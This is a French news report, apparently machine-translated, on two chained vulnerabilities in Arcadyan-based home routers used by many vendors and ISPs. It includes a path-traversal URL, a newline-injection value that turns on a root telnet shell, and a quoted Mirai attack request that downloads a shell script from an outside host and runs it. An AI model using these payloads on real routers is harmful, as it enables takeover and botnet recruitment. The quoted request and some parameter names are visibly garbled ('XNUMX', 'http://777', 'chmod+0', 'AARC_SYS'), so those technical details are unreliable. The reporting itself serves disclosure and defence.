Vulnérabilité des routeurs domestiques affectant 17 fabricants

Une attaque massive a été enregistrée sur le réseau contre des routeurs domestiques dont le firmware utilise une implémentation de serveur HTTP de la société Arcadyan. Pour prendre le contrôle des appareils, une combinaison de deux vulnérabilités est utilisée, permettant l'exécution à distance de code arbitraire avec les droits root. Le problème touche une gamme assez large de routeurs ADSL d'Arcadyan, ASUS et Buffalo, ainsi que des appareils fournis sous les marques Beeline (le problème est confirmé dans Smart Box Flash), Deutsche Telekom, Orange, O2, Telus, Verizon, Vodafone et d'autres opérateurs de télécommunications. Il est à noter que le problème est présent dans le firmware Arcadyan depuis plus de 10 ans et qu'au cours de cette période, il a réussi à migrer vers au moins 20 modèles d'appareils de 17 fabricants différents.

La première vulnérabilité, CVE-2021-20090, permet d'accéder à n'importe quel script d'interface web sans authentification. L'essence de la vulnérabilité réside dans le fait que dans l'interface Web, certains répertoires via lesquels les images, les fichiers CSS et les scripts JavaScript sont envoyés sont accessibles sans authentification. Dans ce cas, les répertoires pour lesquels l'accès sans authentification est autorisé sont vérifiés à l'aide du masque initial. La spécification des caractères « ../ » dans les chemins d'accès au répertoire parent est bloquée par le micrologiciel, mais l'utilisation de la combinaison « ..%2f » est ignorée. Ainsi, il est possible d'ouvrir des pages protégées lors de l'envoi de requêtes du type « http://192.168.1.1/images/..%2findex.htm ».

La deuxième vulnérabilité, CVE-2021-20091, permet à un utilisateur authentifié d'apporter des modifications aux paramètres système de l'appareil en envoyant des paramètres spécialement formatés au script apply_abstract.cgi, qui ne vérifie pas la présence d'un caractère de nouvelle ligne dans les paramètres. . Par exemple, lors d'une opération ping, un attaquant peut spécifier la valeur « 192.168.1.2%0AARC_SYS_TelnetdEnable=1 » dans le champ avec l'adresse IP en cours de vérification, ainsi que le script, lors de la création du fichier de paramètres /tmp/etc/config/. .glbcfg, y écrira la ligne « AARC_SYS_TelnetdEnable=1 », qui active le serveur telnetd, qui fournit un accès illimité au shell de commande avec les droits root. De même, en définissant le paramètre AARC_SYS, vous pouvez exécuter n'importe quel code sur le système. La première vulnérabilité permet d'exécuter un script problématique sans authentification en y accédant sous « /images/..%2fapply_abstract.cgi ».

Pour exploiter les vulnérabilités, un attaquant doit être capable d'envoyer une requête au port réseau sur lequel l'interface Web s'exécute. À en juger par la dynamique de propagation de l'attaque, de nombreux opérateurs laissent l'accès à leurs appareils depuis le réseau externe pour simplifier le diagnostic des problèmes par le service d'assistance. Si l'accès à l'interface est limité uniquement au réseau interne, une attaque peut être menée depuis un réseau externe grâce à la technique du « DNS rebinding ». Des vulnérabilités sont déjà activement utilisées pour connecter des routeurs au botnet Mirai : POST /images/..%2fapply_abstract.cgi Connexion HTTP/1.1 : fermer User-Agent : Dark action=start_ping&submit_button=ping.html& action_params=blink_time%3D5&ARC_ping_ipaddress=212.192.241.7. 0%1A ARC_SYS_TelnetdEnable=0& %212.192.241.72AARC_SYS_=cd+/tmp; wget+http://212.192.241.72/lolol.sh ; curl+-O+http://777/lolol.sh; chmod+0+lolol.sh; sh+lolol.sh&ARC_ping_status=4&TMP_Ping_Type=XNUMX

Source: opennet.ru

Ajouter un commentaire